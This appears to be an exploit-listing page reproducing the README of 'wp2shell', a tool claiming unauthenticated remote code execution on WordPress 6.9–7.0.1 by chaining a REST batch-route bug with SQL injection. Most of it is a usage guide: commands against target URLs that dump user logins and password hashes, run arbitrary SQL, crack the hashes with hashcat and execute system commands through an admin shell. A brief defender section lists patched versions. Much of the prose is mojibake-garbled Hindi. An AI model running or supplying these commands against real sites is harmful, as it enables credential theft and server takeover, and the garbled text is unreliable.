## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EKOMSSAVIOR-WP2SHELL
# wp2shell рджреНрд╡рд╛рд░рд╛: ek0ms savi0r
**WordPress Core POC (CVE-2026-63030 + CVE-2026-60137) рдХреЗ рд▓рд┐рдП рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди**
`wp2shell` WordPress рдХреЛрд░ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рднреЗрджреНрдпрддрд╛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдгред рдпрд╣ REST API рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрд╝рди рдмрдЧ рдХреЛ `WP_Query` рдореЗрдВ SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдХрд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд WordPress рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдкрд░ **рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди** рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред
рд╡рд┐рд╡рд░рдг| рдЬрд╛рдирдХрд╛рд░реА
---|---
**CVE**| CVE-2026-63030 (REST рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрд╝рди) + CVE-2026-60137 (`author__not_in` SQLi)
**рдкреНрд░рднрд╛рд╡рд┐рдд**| WordPress 6.9.0 тАУ 6.9.4, 7.0.0 тАУ 7.0.1
**рдкреИрдЪ рдХрд┐рдП рдЧрдП**| 6.9.5, 7.0.2
**рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЖрд╡рд╢реНрдпрдХ**| рдХреЛрдИ рдирд╣реАрдВ тАФ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ
**CVSS**| рдЧрдВрднреАрд░ (RCE рд╢реНрд░реГрдВрдЦрд▓рд╛)
**рдЦреЛрдЬрдХрд░реНрддрд╛**| Adam Kues (Assetnote / Searchlight Cyber)
**рдирд┐рд░реНрднрд░рддрд╛**| Python 3.8+ тАФ **рдХреЗрд╡рд▓ рдорд╛рдирдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп**
* * *
## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
рд╢реЛрд╖рдг WordPress рдХреЛрд░ рдореЗрдВ рджреЛ рдмрдЧреЛрдВ рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ:
1. **CVE-2026-60137 тАФ SQL рдЗрдВрдЬреЗрдХреНрд╢рди** тАУ рдЬрдм `author__not_in` рдХреЛ рдРрд░реЗ рдХреЗ рдмрдЬрд╛рдп **рд╕реНрдЯреНрд░рд┐рдВрдЧ** рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ WordPress `is_array()` рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдЧрд╛рд░реНрдб рдХреЛ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ рдФрд░ рдХрдЪреНрдЪреЗ рдорд╛рди рдХреЛ `NOT IN (...)` SQL рдХреНрд▓реЙрдЬрд╝ рдореЗрдВ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред
2. **CVE-2026-63030 тАФ рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрд╝рди** тАУ `/wp-json/batch/v1` рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕рдорд╛рдирд╛рдВрддрд░ `$matches` рдФрд░ `$validation` рдРрд░реЗ рдмрдирд╛рддрд╛ рд╣реИред рдПрдХ рджреЛрд╖рдкреВрд░реНрдг рдЙрдк-рдЕрдиреБрд░реЛрдз рдХреЛ `$validation` рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди `$matches` рдореЗрдВ рдирд╣реАрдВ, рдЬрд┐рд╕рд╕реЗ +1 рдЗрдВрдбреЗрдХреНрд╕ рд╢рд┐рдлреНрдЯ рд╣реЛрддрд╛ рд╣реИред рдЙрдк-рдЕрдиреБрд░реЛрдз _i_ рдХреЛ рдЙрдк-рдЕрдиреБрд░реЛрдз _i+1_ рдХреЗ рд╣реИрдВрдбрд▓рд░ рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред
**рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдЬреБрдбрд╝реЗ** : `POST /wp/v2/posts` рдЕрдиреБрд░реЛрдз рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдЖрдВрддрд░рд┐рдХ `GET /wp/v2/users` рдЕрдиреБрд░реЛрдз `author_exclude` рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ, рджреЛрдиреЛрдВ рд╡рд┐рдзрд┐ рдЕрдиреБрдорддрд┐-рд╕реВрдЪреА рдФрд░ рдЗрдирдкреБрдЯ рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рд╕реНрдЯреНрд░рд┐рдВрдЧ `WP_Query` рддрдХ `author__not_in` рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣реБрдБрдЪрддреА рд╣реИ рдФрд░ SQL рдореЗрдВ рд╕рдореНрдорд┐рд▓рд┐рдд рд╣реЛ рдЬрд╛рддреА рд╣реИ тАФ рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХреЛ **рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдмреНрд▓рд╛рдЗрдВрдб SQL рдЗрдВрдЬреЗрдХреНрд╢рди** рдорд┐рд▓рддрд╛ рд╣реИред
рд╡рд╣рд╛рдБ рд╕реЗ, рдЙрдкрдХрд░рдг рдпрд╣ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
* рдкреНрд░рд╢рд╛рд╕рдХ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдирд┐рдХрд╛рд▓реЗрдВ
* рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░реЗрдВ (рдПрдХ рдмрд╛рд░ рд╣реИрд╢ рдХреНрд░реИрдХ рд╣реЛрдиреЗ рдкрд░)
* рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреНрд▓рдЧрдЗрди рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ
* рдордирдорд╛рдиреА рд╕рд┐рд╕реНрдЯрдо рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
* * *
## рд╕реБрд╡рд┐рдзрд╛рдПрдБ
* * *
## рд╕реНрдерд╛рдкрдирд╛
root@kitploit:~
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
рдмрд╕ рдЗрддрдирд╛ рд╣реАред рдХрд┐рд╕реА рддреГрддреАрдп-рдкрдХреНрд╖ рдкреИрдХреЗрдЬ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред
* * *
## рдЙрдкрдпреЛрдЧ
root@kitploit:~
./wp2shell.py <url> [command] [options]
### рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рдореЛрдб (рдореЗрдиреВ-рд╕рдВрдЪрд╛рд▓рд┐рдд)
root@kitploit:~
./wp2shell.py http://target.com
рдПрдХ рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рдореЗрдиреВ рд▓реЙрдиреНрдЪ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕рднреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреНрд░рдорд╛рдВрдХрд┐рдд рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреА рд╣реИред
### рдХрдорд╛рдВрдб
#### `check` тАФ рднреЗрджреНрдпрддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ (рд╕реБрд░рдХреНрд╖рд┐рдд)
рд╕рдордп-рд╡рд┐рд▓рдВрдм рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╢реЛрд╖рдг рдХреА рдкреБрд╖реНрдЯрд┐ рд╣реЛ рд╕рдХреЗред рдХреЛрдИ рдбреЗрдЯрд╛ рдирд╣реАрдВ рдкрдврд╝рддрд╛ рдФрд░ рдХреБрдЫ рднреА рдирд╣реАрдВ рдмрджрд▓рддрд╛ред
root@kitploit:~
./wp2shell.py http://target.com check
#### `read` тАФ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓реЗрдВ (рдмреНрд▓рд╛рдЗрдВрдб SQL рдЗрдВрдЬреЗрдХреНрд╢рди)
рд╕рдордп-рдЖрдзрд╛рд░рд┐рдд рдмреНрд▓рд╛рдЗрдВрдб SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред
root@kitploit:~
# рд╕рд░реНрд╡рд░ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ (рд╕рдВрд╕реНрдХрд░рдг, рдбреЗрдЯрд╛рдмреЗрд╕, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛)
./wp2shell.py http://target.com read
# рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧрд┐рди рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдирд┐рдХрд╛рд▓реЗрдВ
./wp2shell.py http://target.com read --users
# рдбреЗрдЯрд╛рдмреЗрд╕ рдирд╛рдо рдирд┐рдХрд╛рд▓реЗрдВ
./wp2shell.py http://target.com read --database
# MySQL рд╕рдВрд╕реНрдХрд░рдг рдирд┐рдХрд╛рд▓реЗрдВ
./wp2shell.py http://target.com read --version
# рдХрд╕реНрдЯрдо SQL рдХреНрд╡реЗрд░реА
./wp2shell.py http://target.com read --query "SELECT @@version"
#### `shell` тАФ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди
**рд╡реИрдз рдкреНрд░рд╢рд╛рд╕рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред** SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рд╕рд╛рджрд╛ рдкрд╛рда рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
root@kitploit:~
# рдПрдХрд▓ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# рдПрдХрд▓ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд░реВрдк)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
* * *
## рд╡рд┐рдХрд▓реНрдк
* * *
## рдЙрджрд╛рд╣рд░рдг рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣
root@kitploit:~
# 1. рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рд▓рдХреНрд╖реНрдп рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ рдпрд╛ рдирд╣реАрдВ
./wp2shell.py https://example.com check
# 2. рдкреНрд░рд╢рд╛рд╕рдХ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдирд┐рдХрд╛рд▓реЗрдВ
./wp2shell.py https://example.com read --users
# 3. рд╣реИрд╢ рдХреЛ рдСрдлрд╝рд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд░реЗрдВ (hashcat, john, рдЖрджрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдПрдХ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
* * *
## рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг
рд╢рд╛рдЦрд╛| рдкреНрд░рднрд╛рд╡рд┐рдд| рдареАрдХ рдХрд┐рдП рдЧрдП
---|---|---
6.9.x| 6.9.0 тАУ 6.9.4| 6.9.5
7.0.x| 7.0.0 тАУ 7.0.1| 7.0.2
6.8.x| 6.8.0 тАУ 6.8.5 (рдХреЗрд╡рд▓ SQLi, рдХреЛрдИ RCE рдирд╣реАрдВ)| 6.8.6
рд╕рдВрд╕реНрдХрд░рдг 6.9.0 рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдкреВрд░реНрдг RCE рд╢реНрд░реГрдВрдЦрд▓рд╛ рд╕реЗ **рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ** рд╣реИрдВред
* * *
## рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рд╢рдорди
**рд░рдХреНрд╖рдХреЛрдВ рдХреЗ рд▓рд┐рдП:**
* рддреБрд░рдВрдд **6.9.5** , **7.0.2** рдпрд╛ рдмрд╛рдж рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВ
* Cloudflare WAF рдЧреНрд░рд╛рд╣рдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВ
* Wordfence рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рдкрд╛рд╕ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдирд┐рдпрдо рд╣реИрдВ
* рдиреЗрд╕реНрдЯреЗрдб `requests` рдирд┐рдХрд╛рдпреЛрдВ рдХреЗ рд╕рд╛рде `POST /wp-json/batch/v1` рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдВ
* рдмреИрдЪ рд░реВрдЯ рдкрд░ `404` рдХрд╛ рд╣рдореЗрд╢рд╛ рдорддрд▓рдм "рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛" рдирд╣реАрдВ рд╣реЛрддрд╛ тАФ рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ WAF/CDN рдЕрдирд╛рдо REST API рдкрд╣реБрдВрдЪ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рд░рд╣рд╛ рд╣реИ
* * *
## рдХрд╛рдиреВрдиреА рдЕрд╕реНрд╡реАрдХрд░рдг
> **рдпрд╣ рдЙрдкрдХрд░рдг рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реИред**
* * *
## рдХреНрд░реЗрдбрд┐рдЯ
* **рдЦреЛрдЬ** : Adam Kues (Assetnote / Searchlight Cyber)
* **CVE-2026-60137** (SQLi): TF1T, dtro, haongo
* **CVE-2026-63030** (рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрд╝рди): Adam Kues
* * *
_рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП,Searchlight Cyber research blog рджреЗрдЦреЗрдВред_
root@kitploit:~